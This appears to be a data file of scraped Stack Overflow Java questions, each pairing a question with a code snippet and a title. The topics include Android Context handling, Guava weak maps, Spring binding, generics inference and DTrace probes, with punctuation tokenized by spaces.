org.apache.axis2.transport.tcp.TCPWorker.run ( TCPWorker.java:68 ) at org.apache.axis2.transport.base.threads.NativeWorkerPool $ 1.run ( NativeWorkerPool.java:172 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1145 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:615 ) at java.lang.Thread.run ( Thread.java:745 ) < transportReceiver name= '' local '' class= '' org.wso2.carbon.core.transports.local.CarbonLocalTransportReceiver '' / > < transportReceiver name= '' tcp '' class= '' org.apache.axis2.transport.tcp.TCPTransportListener '' > < parameter name= '' transport.tcp.port '' > 6060 < /parameter > < /transportReceiver > < definitions xmlns= '' http : //ws.apache.org/ns/synapse '' > < sequence name= '' fault '' > < makefault > < code xmlns : tns= '' http : //www.w3.org/2003/05/soap-envelope '' value= '' tns : Receiver '' / > < reason value= '' Mediation failed . `` / > < /makefault > < send/ > < /sequence > < proxy xmlns= '' http : //ws.apache.org/ns/synapse '' name= '' TCPProxy '' transports= '' https , http '' statistics= '' disable '' trace= '' disable '' startOnLoad= '' true '' > < target > < inSequence > < log level= '' full '' / > < /inSequence > < outSequence > < send/ > < /outSequence > < /target > < parameter name= '' transport.tcp.port '' > 6060 < /parameter > < parameter name= '' transport.tcp.contentType '' > application/xml < /parameter > < description/ > < /proxy > < /definitions >","Sending message on wso2 socket , getting exception" +Java,"There are loads of questions which deal with Context , which context to use , and how to store it , etc . But I feel dirty every time I pass it to an object , or create a static or singleton that provides access to it . I 'm not sure what smell I 'm getting , but it definitely smells.I was thinking an alternative would be to create classes that act as a proxy for a context , which I pass around instead , that defines a subset of a contexts ' features as a sort of interface ( Not the language interface keyword ) .An example of an alternative ( with code left out for readability ) : Are there any OOP principles which this goes against ? Or smells that it fixes ? I just ca n't decide .","// in activity.onCreate ( ) : StateStorer ss = new StateStorer ( getApplicationContext ( ) ) ; RememberMe obj = new RememberMe ( ss ) ; ss.restore ( ) ; // in activity.onDestroy ( ) ss.save ( ) ; // the `` proxy '' class StateStorer { List < StateStorerListener > listeners ; Context mContext ; public StateStorer ( Context context ) { mContext = context ; } public SharedPreferences getSharedPreferences ( String tag ) { return mContext.getSharedPreferences ( tag , 0 ) ; } public save ( ) { // tell listeners to save } public restore ( ) { // tell listeners to restore } } // an example class that needs to save stateclass RememberMe { public String TAG = `` RememberMe '' ; public StateStorer mSs ; public RememberMe ( StateStorer ss ) { mSs = ss ; ss.addListener ( this ) } // this class would implement the StateStorer 's listener interface , // and when the StateStorer tells it to save or restore , it will use the // StateStorer 's methods to access the SharedPreferences object public void onRestore ( ) { SharedPreferences sp = sSs.getSharedPreferences ( TAG ) ; // restore from prefs here } }",Passing ` Context ` everywhere seems messy - create classes to handle different interactions with context ? +Java,"I am creating an interface for executing methods concurrently , while abstracting away the synchronization details ( To swap for a distributed implementation when needed ) . I 've created a single jvm implementation that allows Strings to be used as the mutex by storing them in a map to ensure one reference is used , even if Strings of different references are passed in . The concurrency seems to work fine , however I was surprised to see that the test was showing the reference count is never decreasing . I assumed using WeakValues ( ) would be enough to prevent memory leaks , but it seems that is not the case . Can anyone point out what could be causing this leak ? } Here is the test that is failing at the very last assertion : } This last assertion is what breaks the test : assertEquals ( 0 , methodExecutor.mutexMap.size ( ) ) ;","public class SynchronousMethodExecutorSynchronizedImpl implements ISynchronousMethodExecutor { // mutex map to provide string referencesfinal Map < String , String > mutexMap = new MapMaker ( ) .weakValues ( ) .makeComputingMap ( new Function < String , String > ( ) { @ Override public String apply ( String id ) { return id ; } } ) ; @ Overridepublic Object doSynchronousMethod ( String domain , String id , ISynchronousMethod synchronousMethod ) { synchronized ( mutexMap.get ( domain + `` . '' + id ) ) { return synchronousMethod.execute ( ) ; } } public class SynchronousMethodExecutorSynchronizedImplTest extends TestCase { int counter ; SynchronousMethodExecutorSynchronizedImpl methodExecutor ; @ Overridepublic void before ( ) throws Exception { super.before ( ) ; methodExecutor = new SynchronousMethodExecutorSynchronizedImpl ( ) ; } @ Testpublic void concurrentExecute ( ) throws InterruptedException { assertEquals ( 0 , counter ) ; for ( int i=0 ; i < 1000 ; i++ ) getConcurrentExecutorThread ( ) .start ( ) ; // wait for threads to complete Thread.sleep ( 1000 ) ; assertEquals ( 1 , methodExecutor.mutexMap.size ( ) ) ; try { final List < long [ ] > infiniteList = new LinkedList < long [ ] > ( ) ; for ( long i = Long.MIN_VALUE ; i < Long.MAX_VALUE ; i++ ) infiniteList.add ( new long [ 102400 ] ) ; fail ( `` An OutOfMemoryError should be thrown '' ) ; } catch ( OutOfMemoryError e ) { } assertEquals ( 2000 , counter ) ; assertEquals ( 0 , methodExecutor.mutexMap.size ( ) ) ; } // synchronous methodprivate ISynchronousMethod method = new ISynchronousMethod ( ) { @ Override public Object execute ( ) { counter++ ; return null ; } } ; /** * Executes a line of code . * * @ return Thread */private Thread getConcurrentExecutorThread ( ) { return new Thread ( ) { @ Override public void run ( ) { methodExecutor.doSynchronousMethod ( `` TEST '' , `` 1 '' , method ) ; try { Thread.sleep ( 500 ) ; } catch ( InterruptedException e ) { } methodExecutor.doSynchronousMethod ( `` TEST '' , new String ( `` 1 '' ) , method ) ; } } ; }",Memory leak in weakValue map reference for synchronized method +Java,My question is almost 1:1 as this one . The only difference ( and struggle ) I have is that my `` data container '' has a collection of objects . It looks like this : Is it possible to define collectionB in params of the url http : //localhost/api/test ? plainFieldA=1 without creating a converter ? @ GameSalutes correctly pointed out that since spring 4 we can do fieldB.plainFieldB=2 so the url will be : http : //localhost/api/test ? plainFieldA=1 & fieldB.plainFieldB=2 but the question is can we do soemthing similar with collectionB without creating a converter ?,public class A { int plainFieldA ; B fieldB ; List < B > collectionB = new ArrayList < > ( ) ; } public class B { int plainFieldB ; } @ Transactional ( readOnly = true ) @ GetMapping ( `` '' ) public Entity getAll ( A reqParam ) { return getAll ( reqParam ) ; },Spring REST - binding GET parameters to list of nested objects +Java,"Look at the following code : As you can see , I 'm using `` consumer constructor '' , so I can create a person like this : Seems like this approach is much better than builder pattern or all-arguments constructor.4 years have passed since Java 8 was released but nobody uses consumer constructors ( at least I have n't seen it before ) . I do not understand why ? Is this approach has some pitfalls or limitations ? I have found one , but I do n't think it is critical : Sure we can create a no-arguments constructor in Person and just call it in AdvancedPerson consumer constructor . But is this a solution ? So what do you think about it ? Is it safe to use consumer constructors ? Is this a substitute for builders and all-argument constructors ? Why ?",class Person { String name ; int age ; Person ( Consumer < Person > consumer ) { consumer.accept ( this ) ; } } var person = new Person ( p - > { p.name = `` John '' ; p.age = 30 ; } ) class AdvancedPerson extends Person { String surname ; AdvancedPerson ( Consumer < AdvancedPerson > consumer ) { super ( ) ; // < -- what to pass ? consumer.accept ( this ) ; } },Consumer Constructor Pitfalls +Java,"My requirement : I have an interface that shall only contain entries such as public final static short SOME_CONST = whatever . The catch : the short constants need to be unique . And in when there are duplicates , I am mainly interested in having the SOME_CONST_A , SOME_CONST_B , ... names causing the conflict . I wrote the below test to test that via reflection . It works , but I find it clunky and not very elegant : Is there a way to avoid that intermediate local map instance ? ( bonus question : is there a nicer way to shorten the lambda that fills the map with key/value pairs ? )","@ Testpublic void testIdsAreUnique ( ) { Map < Short , List < String > > fieldNamesById = new LinkedHashMap < > ( ) ; Arrays.stream ( InterfaceWithIds.class.getDeclaredFields ( ) ) .filter ( f - > f.getClass ( ) .equals ( Short.class ) ) .forEach ( ( f ) - > { Short key = null ; String name = null ; try { key = f.getShort ( null ) ; name = f.getName ( ) ; } catch ( IllegalAccessException e ) { throw new RuntimeException ( e ) ; } fieldNamesById.computeIfAbsent ( key , x - > new ArrayList < > ( ) ) .add ( name ) ; } ) ; assertThat ( fieldNamesById.entrySet ( ) .stream ( ) .filter ( e - > e.getValue ( ) .size ( ) > 1 ) .collect ( Collectors.toMap ( Map.Entry : :getKey , Map.Entry : :getValue ) ) , is ( Collections.emptyMap ( ) ) ) ; }","How to compute Map from stream , to then check property of map values ?" +Java,"I need to generate random real numbers in the range [ -0.5 , 0.5 ] , both bounds inclusive.I found various ways to generate similar ranges , likeBut the upper bound is always exclusive , I need it inclusive as well . 0.5 must be inside the range .",-0.5 + Math.random ( ),"Generate random float , both bounds inclusive" +Java,"I am looking for a Java based data structure which manages a collection time/date based intervals ( preferably Joda Time ) such that for every interval which is added to the collection , the data structure returns the subintervals ( s ) of the added interval , which are not yet in the data strucuture and consolidates the intervals . Now in terms of set theory this would be easy , i.e . the return value would be `` to be added '' \ `` existing '' and the resulting structure would be `` existing '' union `` to be added '' . Now of course I could emulate the date/time intervals using sets of discrete points but this seems not really effective.So I am looking for an existing datastructure which already provides these set operations out of the box using intervals.Just for clarification , here is an illustration of what I am looking for . existing : a collection of time intervalsto be added : interval which should be added to the collectionreturn value : the subintervals ( s ) of the interval which should be added which are not yet in the datastructureresult : the collection of intervals including the one which has just been added",// case 0// existing *********************************************// to be added ********// return value -- empty -- // result *********************************************// // case 1// existing *****************************************// to be added ************// return value ****// result *********************************************// // case 2// existing ***************************************// to be added ****// return value ****// result **** ***************************************// // case 3// existing *****************************************// to be added ************// return value ****// result *********************************************// // case 4// existing ***************************************// to be added ****// return value ****// result *************************************** ****// // case 5// existing ***************** ***************// to be added ****// return value ****// result ***************** **** ***************// // case 6// existing ***************** ***************// to be added ********// return value *****// result ********************** ***************// // case 7// existing ***************** ***************// to be added ********// return value *****// result ***************** ********************// // case 8// existing ***************** **** ***************// to be added *****************// return value **** *****// result *********************************************// // ... ... //,Datastructure for a collection of intervals +Java,CodeI have the following class with a member interface : And another class trying to access it : ErrorIn Main I get the following error from javac : SomeInterface is not public in SomeClass ; can not be accessed from outside package.And in Eclipse : SomeInterface is not public in SomeClass ; can not be accessed from outside package.Both compiling as Java 7 . Everything compiles fine if I make SomeInterface public.But Spec saysThe Java Language Specification for Java 7 says this : A member interface is an interface whose declaration is directly enclosed in another class or interface declaration . A member interface in a class declaration is implicitly public ( §6.6 ) unless an access modifier is specified.The Java Language Specification for Java 5 does n't seem to have the second sentence.QuestionSo should n't SomeInterface be considered public and should n't Main compile ? UpdateAs suggested by Ajay George this was indeed an error in the Java Language Specification 7 ( thanks JamesB ) . In the meantime the spec was corrected and the incorrect sentence removed . Last version in Archive.org with the incorrect sentence .,package com.example.withinterface ; public class SomeClass { interface SomeInterface { void doSomething ( ) ; } } package com.example.withinterface.main ; import com.example.withinterface.SomeClass ; public class Main { public static void main ( String [ ] argss ) { System.out.println ( SomeClass.SomeInterface.class ) ; } },Is a member interface in a class declaration implicitly public ? +Java,"On Mac OS X , I can find the HotSpot probes of running Java programs by running : But if I create a simple Java program and run it on SmartOS : I ca n't find any probes : Is there anything special that I need to do to see them ?","cody.mello @ ashur ~ ( 1 ) % sudo dtrace -ln 'hotspot* : : : 'Password : Invalid connection : com.apple.coresymbolicationd ID PROVIDER MODULE FUNCTION NAME165084 hotspot46 libjvm.dylib _ZN13instanceKlass15initialize_implE19instanceKlassHandleP6Thread [ instanceKlass : :initialize_impl ( instanceKlassHandle , Thread* ) ] class-initialization-clinit165085 hotspot46 libjvm.dylib _ZN13instanceKlass15initialize_implE19instanceKlassHandleP6Thread [ instanceKlass : :initialize_impl ( instanceKlassHandle , Thread* ) ] class-initialization-concurrent165086 hotspot46 libjvm.dylib _ZN13instanceKlass15initialize_implE19instanceKlassHandleP6Thread [ instanceKlass : :initialize_impl ( instanceKlassHandle , Thread* ) ] class-initialization-end165087 hotspot46 libjvm.dylib _ZN13instanceKlass15initialize_implE19instanceKlassHandleP6Thread [ instanceKlass : :initialize_impl ( instanceKlassHandle , Thread* ) ] class-initialization-erroneous165088 hotspot46 libjvm.dylib _ZN13instanceKlass15initialize_implE19instanceKlassHandleP6Thread [ instanceKlass : :initialize_impl ( instanceKlassHandle , Thread* ) ] class-initialization-error165089 hotspot46 libjvm.dylib _ZN13instanceKlass15initialize_implE19instanceKlassHandleP6Thread [ instanceKlass : :initialize_impl ( instanceKlassHandle , Thread* ) ] class-initialization-recursive ... cody @ 101901c9-6d66-ea32-fe42-f1fbebd4bf99 ~ % cat Loop.java class Loop { public static void main ( String [ ] args ) throws InterruptedException { while ( true ) { Thread.sleep ( 5000 ) ; } } } cody @ 101901c9-6d66-ea32-fe42-f1fbebd4bf99 ~ % javac Loop.java cody @ 101901c9-6d66-ea32-fe42-f1fbebd4bf99 ~ % java Loop cody @ 101901c9-6d66-ea32-fe42-f1fbebd4bf99 ~ ( 255 ) % pfexec dtrace -ln 'hotspot* : : : ' ID PROVIDER MODULE FUNCTION NAMEdtrace : failed to match hotspot* : : : : No probe matches description",How do I use the HotSpot DTrace probes on SmartOS ? +Java,I have to handle an 8-byte unsigned integer type in Java somehow.My 8-byte unsigned integer is stored in a byte array wrapped by ByteBuffer . It comes from a data logger database and contains very big numbers.This is how I deal with 4-byte integers to read them them as unsigned : Unfortunately this : does n't work.How can I store the number 2^64-1 and read it as 2^64-1 ?,( ( long ) ( bytebuffer.getInt ( ) & 0xFFFFFFFFL ) ) ; ( ( BigInteger ) ( bytebuffer.getLong ( ) & 0xFFFFFFFFFFFFFFFFL ) ) ;,How can I read a Java long as unsigned and store its value in a BigInteger ? +Java,"I use Java Redis client `` Jedis '' .When getting a sorted set using zrange for example , the client specifies it returns a Set which by definition has no oredering guarantee.this old question mentions the problem but I have found no reference to whether it is resolved.Can I do this and know order will be preserved ? Thank you for any help .","Set < String > results = jedisCli.zrange ( key , start , end ) ; MyObject [ ] requestedOrderedObjects = new MyObject [ results.size ] ; int i = 0 ; foreach ( String result : results ) { requestedOrderedObjects [ i++ ] = MyObject.loadFromString ( result ) ; } return requestedOrderedObjects ;",Is order preserved in set when recovering sorted sets using jedis ? +Java,"I am trying to use OpenCV with Hadoop . Below is my code . I am just testing if OpenCV libraries works fine with Hadoop , i.e when I am running OpenCV code in functionpublic int run ( String [ ] args ) of Hadoop.I searched on the internet , and found some ways of how to add OpenCV native library ( libopencv_java310.so ) in Hadoop . I tried some ways , but it did n't work . For example this tutorial.It says add JAVA.LIBRARY.PATH to hadoop-config.sh file.But it did n't work . I got this errorFinally , I added the OpenCV native library ( libopencv_java310.so ) to this path ( got solution from internet ) And it seems to have worked . I did n't get the above error.But I got this error at next line : This error is at line : As far as I know , we get this error if OpenCV native library is not loaded . But now the library is loaded , I do n't know what is the reason for this error .","Exception in thread `` main '' java.lang.UnsatisfiedLinkError : no opencv_java310 in java.library.pathat lineSystem.loadLibrary ( Core.NATIVE.LIBRARY.NAME ) ; $ HADOOP_HOME/lib/native Exception in thread `` main '' java.lang.UnsatisfiedLinkError : org.opencv.objdetect.CascadeClassifier.CascadeClassifier_1 ( Ljava/lang/String ; ) CascadeClassifier cad = new CascadeClassifier ( ) ; public int run ( String [ ] args ) throws Exception { Configuration conf = new Configuration ( ) ; Job job = Job.getInstance ( conf ) ; job.setJarByClass ( readVideoFile.class ) ; job.setJobName ( `` smallfilestoseqfile '' ) ; job.setInputFormatClass ( readVideoInputFormat.class ) ; job.setNumReduceTasks ( 1 ) ; FileInputFormat.setInputPaths ( job , new Path ( args [ 0 ] ) ) ; FileOutputFormat.setOutputPath ( job , new Path ( args [ 1 ] ) ) ; job.setOutputKeyClass ( Text.class ) ; job.setOutputValueClass ( Text.class ) ; job.setMapperClass ( readVideoMapper.class ) ; System.loadLibrary ( Core.NATIVE_LIBRARY_NAME ) ; CascadeClassifier cad = new CascadeClassifier ( ) ; return job.waitForCompletion ( true ) ? 0 : 1 ; }",OpenCV library loaded in hadoop but not working +Java,"Consider this class : Now imagine we have the following section of code executing : All three objects exist in the same scope . Because bar is not static , there will be three separate instances of bar in memory . Are there three instances of the method foo in memory ? Does the JVM do some magic so that each object can use one method declaration in memory ? Is there a name for this situation so that I can see if other languages do it ?",public class Test { private int bar = 5 ; public void foo ( ) { System.out.println ( `` hi '' ) ; } } Test obj1 = new Test ( ) ; Test obj2 = new Test ( ) ; Test obj3 = new Test ( ) ;,Do java objects share method location in memory ? +Java,"I have a project with a unit test that works under Java 7 , but not under Java 8 . Is there a good way to investigate such things ? ( I 'm sure that the test is correct ; this suggests that there 's a subtle bug in the implementation . ) Really I suppose what I would like is a quick way to identify where the code paths diverge . But this is hard , because there might be all sorts of differences in the code paths at a very low level through the JDK , and I do n't want to get bogged down in irrelevant differences that are down to tiny optimisations.So the nice thing would maybe be to ask at what top level trace the paths diverge ; and then , starting from just before that point , to ask at what second level trace the paths diverge ; and so on.But I 've no idea whether there 's a way to do this . I fear I could waste a lot of time if I do n't have a systematic approach.The code , by the way , is the Apache Phoenix repository , where under Java 8 , I get the following failure :","Tests run : 1 , Failures : 1 , Errors : 0 , Skipped : 0 , Time elapsed : 0.006 sec < < < FAILURE ! - in org.apache.phoenix.schema.PMetaDataImplTesttestEviction ( org.apache.phoenix.schema.PMetaDataImplTest ) Time elapsed : 0.006 sec < < < FAILURE ! java.lang.AssertionError : expected : < 3 > but was : < 2 > at org.junit.Assert.fail ( Assert.java:88 ) at org.junit.Assert.failNotEquals ( Assert.java:834 ) at org.junit.Assert.assertEquals ( Assert.java:645 ) at org.junit.Assert.assertEquals ( Assert.java:631 ) at org.apache.phoenix.schema.PMetaDataImplTest.testEviction ( PMetaDataImplTest.java:98 )",How to debug something that works under Java 7 but not under Java 8 +Java,"I have a two programs : first , that uses Console object to read and write datasecond , that should run first with some dynamically calculated argumentsSecond program code looks like this : When fist programs starts from second , System.console ( ) is null and it fails with NPE.So , question is : is there any way to run another process with System.console ( ) available ?","String [ ] arguments = { `` cmd '' , `` /c '' , `` java '' , `` -cp '' , classPath lauchClass , // Arguments for first program } ProcessBuilder pb = new ProcessBuilder ( arguments ) ; pb.environment ( ) .putAll ( System.getenv ( ) ) ; pb.directory ( workDir ) ; pb.inheritIO ( ) ; Process process = pb.start ( ) ; process.waitFor ( ) ;",Start another Process with System.console available +Java,"I would like to write a generic method that accepts an array and something else . Each of which could be whatever type , but they must be the same . I tried this , but I could still input anything into the method.I can call this method with arrayContains ( new String [ ] { `` stuff '' } , new Pig ( ) ) but I only want it to accept arrayContains ( new String [ ] { `` stuff '' } , `` more stuff '' )","public static < T > boolean arrayContains ( T [ ] array , T object ) { return Arrays.asList ( array ) .contains ( object ) ; }",How to write a method that accepts an array of type x and another variable with the same type as the array +Java,"I would like to transform list into map using as key values only two string values.Then as values just list of strings containing elements from odd or even index positions from input list . Here is old fashion code : How to transform this code into Java 8 using streams to get this result ? My current messy attempt require modifying elements of list , but definitly must be better option.Or maybe someone help me with this incorrect solution ? which return this :","Map < String , List < String > > map = new HashMap < > ( ) ; List < String > list = Arrays.asList ( `` one '' , `` two '' , `` three '' , `` four '' ) ; map.put ( `` evenIndex '' , new ArrayList < > ( ) ) ; map.put ( `` oddIndex '' , new ArrayList < > ( ) ) ; for ( int i = 0 ; i < list.size ( ) ; i++ ) { if ( i % 2 == 0 ) map.get ( `` evenIndex '' ) .add ( list.get ( i ) ) ; else map.get ( `` oddIndex '' ) .add ( list.get ( i ) ) ; } { evenIndex= [ one , three ] , oddIndex= [ two , four ] } List < String > listModified = Arrays.asList ( `` ++one '' , `` two '' , `` ++three '' , `` four '' ) ; map = listModified.stream ( ) .collect ( Collectors.groupingBy ( str - > str.startsWith ( `` ++ '' ) ? `` evenIndex '' : `` oddIndex '' ) ) ; IntStream.range ( 0 , list.size ( ) ) .boxed ( ) .collect ( Collectors.groupingBy ( i - > i % 2 == 0 ? `` even '' : `` odd '' , Collectors.toMap ( ( i - > i ) , i - > list.get ( i ) ) ) ) ) ; { even= { 0=one , 2=three } , odd= { 1=two , 3=four } }",Transform List into Map using only two keys and odd or even list indexes as values - Java 8 Stream +Java,"I have often seen declarations like List < String > list = new ArrayList < > ( ) ; or Set < String > set = new HashSet < > ( ) ; for fields in classes . For me it makes perfect sense to use the interfaces for the variable types to provide flexibility in the implementation . The examples above do still define which kind of Collections have to be used , respectively which operations are allowed and how it should behave in some cases ( due to docs ) .Now consider the case where actually only the functionality of the Collection ( or even the Iterable ) interface is required to use the field in the class and the kind of Collection does n't actually matter or I do n't want to overspecify it . So I choose for example HashSet as implementation and declare the field as Collection < String > collection = new HashSet < > ( ) ; .Should the field then actually be of type Set in this case ? Is this kind of declaration bad practice , if so , why ? Or is it good practice to specify the actual type as less as possible ( and still provide all required methods ) . The reason why I ask this is because I have hardly ever seen such a declaration and lately I get more an more in the situation where I only need to specify the functionality of the Collection interface.Example :","// Only need Collection features , but decided to use a LinkedListprivate final Collection < Listener > registeredListeners = new LinkedList < > ( ) ; public void init ( ) { ExampleListener listener = new ExampleListener ( ) ; registerListenerSomewhere ( listener ) ; registeredListeners.add ( listener ) ; listener = new ExampleListener ( ) ; registerListenerSomewhere ( listener ) ; registeredListeners.add ( listener ) ; } public void reset ( ) { for ( Listener listener : registeredListeners ) { unregisterListenerSomewhere ( listener ) ; } registeredListeners.clear ( ) ; }",Java variable type Collection for HashSet or other implementations ? +Java,"I have some numbers I 'm trying to compare . They represent lengths of paths through different spaces . Unfortunately for me , some imprecision was causing false comparisons . For instance , after noting the wrong effects , I found that I was having comparisons like this : For my purposes , a and b are supposed to be equal . I noted the guava has a fuzzyCompare ( ) method for doubles which seems to do what I want in ignoring some of this precision : The warning on that fuzzy compare did not slip my notice : This is not a total ordering and is not suitable for use in Comparable.compareTo ( T ) implementations . In particular , it is not transitiveMy question is , is this lack of transitivity a real problem ? If it is , how would it present itself ? I would think that if the comparison were really truly violated it would throw an error similar to this question : Java error : Comparison method violates its general contract , and its not doing that even against a variety of values I 've tested . Or perhaps since an IllegalArgumentException is a runtime error , I just have n't run across the problems yet because only some devious values will trigger the problem ? Or perhaps it is doing something wrong right now , it just subtle enough that I have n't noticed it ?","a = 384.527100541296b = 384.52710054129614 // Note the trailing 14 private static final double COMPARISON_PRECISION=1e-10 ; private static final Comparator < Double > fuzzyCompare= new Comparator < Double > ( ) { public int compare ( Double o1 , Double o2 ) { return DoubleMath.fuzzyCompare ( o1 , o2 , COMPARISON_PRECISION ) ; } } ; public int compareTo ( Object o ) { if ( o instanceof Spam ) { Spam other = ( Spam ) ( o ) ; return ComparisonChain.start ( ) .compare ( this.getLength ( ) , other.getLength ( ) , fuzzyCompare ) // ... .result ( ) ; } else { throw new ClassCastException ( ) ; } }",Effects of violating compareTo transitivity contract due to numerical precision errors +Java,"ContextLet 's say that I have a simple data class in Java : Note : in practice , I use Immutables to generate this , but am showing a POJO here for the sake of simplicity.To document the model of the GET response , even if the return type is Response , I can refer to the class in @ ApiOperation : Based on that , Swagger will document this correctly : Model : Example value : To document the model of the POST body , I use the class directly in the code , Swagger finds it and documents it as desired : ProblemI want to support partial updates as well . I can not use the POJO itself , because all fields are mandatory in the POJO , I rely on that to get safe checks and clear error messages when invalid JSON is sent to e.g . the POST method.In my actual use-case , my datamodel contains maps . I want users to be able to specify a certain key in the update and set the value to null , to delete elements from an existing maps.I chose to support PATCH requests where the body is typed as a plain JsonNode . That allows any JSON to be received by my server and I can apply the updates as I wish.I 'm happy with the result , except that Swagger now documents the partial update 's model with the properties of the JsonNode Java object : Model : Example value : I would like to specify in my code that the model is like Person , so that the example given in the Swagger UI is more relevant . I did try @ ApiImplicitParams : That did not make any difference . Swagger still documents JsonNode itself . The documentation for @ ApiImplicitParams mentions : While ApiParam is bound to a JAX-RS parameter , method or field , this allows you to manually define a parameter in a fine-tuned manner . This is the only way to define parameters when using Servlets or other non-JAX-RS environments.Since I am using JAX-RS , this might mean that I can not use @ ApiImplicitParams , but @ ApiParam does not provide anything to override the class.How can I specify manually the datamodel of a JAX-RS parameter that is detected by Swagger automatically ?","public class Person { private final String name ; private final int age ; Person ( String name , int age ) { this.name = name ; this.age = age ; } public String getName ( ) { return name ; } int String getAge ( ) { return age ; } } @ GET @ ApiOperation ( response = Person.class ) public Response getPerson ( ) { return Response.ok ( new Person ( `` Julien '' , 28 ) ) .build ( ) ; } Person { name ( string ) , age ( number ) } { `` name '' : `` string '' , `` age '' : 0 } @ POST @ ApiOperation ( response = Person.class ) public Response addPerson ( Person newPerson ) { return Response.ok ( store.insert ( newPerson ) ) .build ( ) ; } @ PATCH @ Path ( `` / { name } '' ) @ ApiOperation ( response = Person.class ) public Response updatePerson ( @ PathParam ( `` name '' ) String name , JsonNode update ) { return Response.ok ( store.update ( name , update ) ) .build ( ) ; } JsonNode { array ( boolean , optional ) , null ( boolean , optional ) , number ( boolean , optional ) , float ( boolean , optional ) , pojo ( boolean , optional ) , valueNode ( boolean , optional ) , containerNode ( boolean , optional ) , object ( boolean , optional ) , missingNode ( boolean , optional ) , nodeType ( string , optional ) = [ 'ARRAY ' , 'BINARY ' , 'BOOLEAN ' , 'MISSING ' , 'NULL ' , 'NUMBER ' , 'OBJECT ' , 'POJO ' , 'STRING ' ] , integralNumber ( boolean , optional ) , floatingPointNumber ( boolean , optional ) , short ( boolean , optional ) , int ( boolean , optional ) , long ( boolean , optional ) , double ( boolean , optional ) , bigDecimal ( boolean , optional ) , bigInteger ( boolean , optional ) , textual ( boolean , optional ) , boolean ( boolean , optional ) , binary ( boolean , optional ) } { `` array '' : true , `` null '' : true , `` number '' : true , `` float '' : true , `` pojo '' : true , `` valueNode '' : true , `` containerNode '' : true , `` object '' : true , `` missingNode '' : true , `` nodeType '' : `` ARRAY '' , `` integralNumber '' : true , `` floatingPointNumber '' : true , `` short '' : true , `` int '' : true , `` long '' : true , `` double '' : true , `` bigDecimal '' : true , `` bigInteger '' : true , `` textual '' : true , `` boolean '' : true , `` binary '' : true } @ PATCH @ Path ( `` / { name } '' ) @ ApiOperation ( response = Person.class ) @ ApiImplicitParams ( { @ ApiImplicitParam ( name = `` update '' , dataTypeClass = Person.class ) } ) public Response updatePerson ( @ PathParam ( `` name '' ) String name , JsonNode update ) { return Response.ok ( store.update ( name , update ) ) .build ( ) ; }",How can I manually document Swagger datamodel for a JAX-RS parameter ? +Java,Consider the following fragment : Help me understand this behaviour .,"int a , b ; a = 1 ; b = 2 ; c = a++++b ; // does not work ! ! Compilation error.c = a++*+b ; // works ! !",Operators in C/C++/Java +Java,"The attached program ( see at the end ) , when executed , yields the following output : In both cases the exact same code is executed which is to repeatedly get the next value from a Random object instantiated which at the start of the program . The warm up method executed first is supposed to trigger any sort of JIT otimizations before the actual testing begins.Can anyone explain the reason for this difference ? I have been able to repeat this result in my machine every time so far , and this was executed on a multi-core Windows system with java 7.One interesting thing is that if the order in which the tests are executed is reversed , that is , if we run the loop with the delay before the loop without the delay , then the timings are more similar ( with the no delay loop actually taking longer ) : As much as I could tell , no object is being created inside the operation method , and when running this through a profiler it does not seem that garbage collection is ever triggered . A wild guess is that some value gets cached in a processor-local cache which gets flushed out when the thread is put to sleep and then when the thread wakes up it needs to retrieve the value from main memory , but that is not so fast . That however does not explain why inverting the order makes a difference ... The real-life situation where I initially observed this behavior ( which prompted me to write this sample test class ) was XML unmarshalling , where I noticed that unmarshalling the same document repeated times one after the other in quick succession yielded better times than performing the same thing but with a delay between calls to unmarshal ( delay generated through sleep or manually ) .Here is the code :","... ... ... .with sleep time of 0ms times= [ 1 , 1 , 1 , 0 , 1 , 1 , 0 , 1 , 1 , 0 ] average= 0.7 ... ... ... .with sleep time of 2000ms times= [ 2 , 2 , 2 , 2 , 2 , 1 , 2 , 2 , 2 , 2 ] average= 1.9 ... ... ... .with sleep time of 2000ms times= [ 2 , 2 , 2 , 2 , 2 , 2 , 2 , 2 , 2 , 2 ] average= 2.0 ... ... ... .with sleep time of 0ms times= [ 2 , 3 , 3 , 2 , 3 , 3 , 2 , 3 , 2 , 3 ] average= 2.6 import java.util.ArrayList ; import java.util.List ; import java.util.Random ; public class Tester { public static void main ( String [ ] args ) throws InterruptedException { warmUp ( 10000 ) ; int numRepetitions = 10 ; runOperationInALoop ( numRepetitions , 0 ) ; runOperationInALoop ( numRepetitions , 2000 ) ; } private static void runOperationInALoop ( int numRepetitions , int sleepTime ) throws InterruptedException { List < Long > times = new ArrayList < Long > ( numRepetitions ) ; long totalDuration = 0 ; for ( int i=0 ; i < numRepetitions ; i++ ) { Thread.sleep ( sleepTime ) ; long before = System.currentTimeMillis ( ) ; someOperation ( ) ; long duration = System.currentTimeMillis ( ) - before ; times.add ( duration ) ; totalDuration = totalDuration + duration ; System.out.print ( `` . `` ) ; } System.out.println ( ) ; double averageTimePerOperation = totalDuration/ ( double ) numRepetitions ; System.out.println ( `` with sleep time of `` + sleepTime + `` ms '' ) ; System.out.println ( `` times= `` + times ) ; System.out.println ( `` average= `` + averageTimePerOperation ) ; } private static void warmUp ( int warmUpRepetitions ) { for ( int i=0 ; i < warmUpRepetitions ; i++ ) { someOperation ( ) ; } } public static int someInt ; public static Random random = new Random ( 123456789L ) ; private static void someOperation ( ) { for ( int j=0 ; j < 50000 ; j++ ) { someInt = ( ( int ) random.nextInt ( ) *10 ) + 1 ; } } }",Why does sleeping between iterations causes operations in a loop to take longer than the case where it does not sleep +Java,"I have code which is failed to compile with JDK 7 but succeed to compile with JDK 8.To abstract actual code : Collections.singletonList is defined asSo as far as I know based on generic , T will be inferred to B , so Collections.singletonList ( new B ( ) ) will be List which can not be assigned to List since Java generic is invariant.But with JDK 8 , T is inferred to A and compilation succeeds.I 'd like to know how T is inferred to A , since there 're two variables here for type T : A and B.Is there order of priority ? Or does compiler find common ancestor class ? Attaching official document is more appreciated ! Thanks in advance ! ps1 . The version of JDK 7 is Oracle 1.7.0_79 and the version of JDK 8 is Oracle 1.8.0_66.ps2 . Here 's the links for actual code : https : //github.com/apache/storm/blob/85a31e2fdec1ffef83e1ff438cd765a821fb06e4/examples/storm-opentsdb-examples/src/main/java/org/apache/storm/opentsdb/SampleOpenTsdbBoltTopology.java # L48https : 